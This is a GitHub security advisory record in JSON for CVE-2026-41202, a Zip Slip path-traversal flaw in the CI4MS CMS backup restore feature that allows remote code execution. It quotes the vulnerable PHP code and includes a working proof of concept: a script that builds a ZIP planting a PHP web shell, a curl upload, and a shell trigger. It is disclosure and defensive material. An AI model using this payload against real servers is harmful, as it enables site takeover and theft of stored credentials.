CVE-2026-41202: CI4MS Backup Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xp9f-pvvc-57p4",
  "modified" : "2026-05-08T19:55:21Z",
  "published" : "2026-04-22T17:28:39Z",
  "aliases" : [ "CVE-2026-41202" ],
  "summary" : "CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE",
  "details" : "### Summary\nci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.\n\n### Details\nmodules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to `WRITEPATH . 'uploads/'`, and if the extension is `zip`, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:\n\n```php\npublic function restore()\n{\n    $valData = ([\n        'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],\n    ]);\n    if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());\n    $file = $this->request->getFile('backup_file');\n\n    if ($file && $file->isValid() && ! $file->hasMoved()) {\n        $newName    = $file->getRandomName();\n        $uploadPath = WRITEPATH . 'uploads/';\n        ...\n        $filePath = WRITEPATH . 'uploads/' . $newName;\n        $sqlPath  = $filePath;\n        if ($ext === 'zip') {\n            $zip = new \\ZipArchive();\n            if ($zip->open($filePath) === true) {\n                $zip->extractTo($uploadPath);          // no entry-name validation\n                $sqlPath = $uploadPath . $zip->getNameIndex(0);\n                $zip->close();\n                @unlink($filePath);\n            }\n        }\n        ...\n    }\n}\n```\n\nA ZIP containing entries like `../../public/shell.php` is extracted outside `writable/uploads/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.\n\nRouting: modules/Backup/Config/Routes.php binds `POST backend/backup/restore` to Backup::restore with `role=create`, and modules/Backup/Config/BackupConfig.php adds `backend/backup` and `backend/backup/*` to `csrfExcept`, so the route accepts cross-site POSTs from an authenticated administrator's browser.\n\n### PoC\nBuild the archive:\n\n```python\npython3 -c \"\nimport zipfile\nwith zipfile.ZipFile('evil.zip','w') as z:\n    z.writestr('../../public/shell.php', '<?php system(\\$_GET[\\\"c\\\"]); ?>')\n    z.writestr('dump.sql', 'SELECT 1;')\n\"\n```\n\nSubmit it as a backup to restore:\n\n```bash\ncurl -i -b 'ci4ms_session=<SESSION_ID>' \\\n  -F 'backup_file=@evil.zip' \\\n  https://target.example.com/backend/backup/restore\n```\n\nTrigger the shell:\n\n```bash\ncurl 'https://target.example.com/shell.php?c=id'\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\nAny ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.31.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xp9f-pvvc-57p4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41202"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T17:28:39Z",
    "nvd_published_at" : "2026-05-07T04:16:27Z"
  }
}